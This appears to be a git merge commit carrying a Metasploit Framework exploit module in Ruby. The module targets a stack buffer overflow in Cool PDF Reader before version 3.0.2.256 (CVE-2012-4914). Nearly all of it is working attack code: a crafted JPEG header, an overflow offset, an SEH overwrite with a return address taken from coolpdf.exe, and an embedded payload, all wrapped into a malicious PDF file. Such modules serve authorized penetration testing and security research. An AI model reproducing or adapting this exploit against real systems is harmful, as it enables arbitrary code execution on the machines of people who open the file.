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Merge branch 'coolpdf_image_stream_bof' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-coolpdf_image_stream_bof
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‎modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb

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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::PDF
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cool PDF Image Stream Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Cool PDF Reader prior to version
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3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that
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contains a specially crafted image stream. This module has been tested successfully
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on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Francis Provencher', # Vulnerability discovery
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'Chris Gabriel', # Proof of concept
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-4914' ],
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[ 'OSVDB', '89349' ],
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[ 'EDB', '24463' ],
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[ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ]
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],
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'Payload' =>
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{
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'Space' => 2000,
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3',
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{
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'Offset' => 433,
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'Ret' => 0x00539fa4 # ppr from coolpdf.exe
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}
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]
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],
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'DisclosureDate' => 'Jan 18 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf'])
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], self.class)
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end
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def exploit
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file_create(make_pdf)
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end
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def jpeg
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p = payload.encoded
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sploit = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64" + "\x6F\x62\x65\x00\x64\x80\x00\x00"
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sploit << "\x00\x02\xFF\xDB\x00\x84\x00\x02" + "\x02\x02\x02\x02\x02\x02\x02\x02"
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sploit << "\x02\x03\x02\x02\x02\x03\x04\x03" + "\x03\x03\x03\x04\x05\x04\x04\x04"
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sploit << "\x04\x04\x05\x05\x05\x05\x05\x05" + "\x05\x05\x05\x05\x07\x08\x08\x08"
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sploit << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09" + "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
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sploit << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01" + "\x03\x02\x02\x03\x03\x03\x07\x05"
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sploit << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F" + "\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
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sploit << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C" + "\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
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sploit << "\x0E\x0E\x0C\x11\x11\x11\x11\x11" + "\x11\x11\x11\x11\x11\x11\x11\x11"
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sploit << "\x11\x11\x11\x11\x11\x11\x11\x11" + "\xFF\xC0\x00\x14\x08\x00\x32\x00"
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sploit << "\xE6\x04\x01\x11\x00\x02\x11\x01" + "\x03\x11\x01\x04\x11\x00\xFF\xC4"
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sploit << "\x01\xA2\x00\x00\x00\x07\x01\x01" + "\x01\x01\x01\x00\x00\x00\x00\x00"
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sploit << "\x00\x00\x00\x04\x05\x03\x02\x06" + "\x01\x00\x07\x08\x09\x0A\x0B\x01"
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sploit << "\x54\x02\x02\x03\x01\x01\x01\x01" + "\x01\x00\x00\x00\x00\x00\x00\x00"
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sploit << "\x01\x00\x02\x03\x04\x05\x06\x07"
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sploit << rand_text(target['Offset'])
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sploit << generate_seh_record(target.ret)
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sploit << p
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sploit << rand_text(2388 - p.length)
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return sploit
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end
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# Override the mixin obfuscator since it doesn't seem to work here.
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def nObfu(str)
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return str
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end
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def make_pdf
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@pdf << header
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add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
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add_object(2, nObfu("<</Type/Outlines>>"))
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add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
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add_object(4, nObfu("[/PDF/Text/ImageC]"))
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add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
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stream_1 = "stream" << eol
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stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
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stream_1 << "endstream" << eol
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add_object(6, nObfu("<</Length 91>>#{stream_1}"))
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stream = "<<" << eol
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stream << "/Width 230" << eol
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stream << "/BitsPerComponent 8" << eol
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stream << "/Name /X" << eol
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stream << "/Height 50" << eol
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stream << "/Intent /RelativeColorimetric" << eol
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stream << "/Subtype /Image" << eol
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stream << "/Filter /DCTDecode" << eol
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stream << "/Length #{jpeg.length}" << eol
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stream << "/ColorSpace /DeviceCMYK" << eol
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stream << "/Type /XObject" << eol
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stream << ">>"
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stream << "stream" << eol
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stream << jpeg << eol
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stream << "endstream" << eol
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add_object(7, stream)
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finish_pdf
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end
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end

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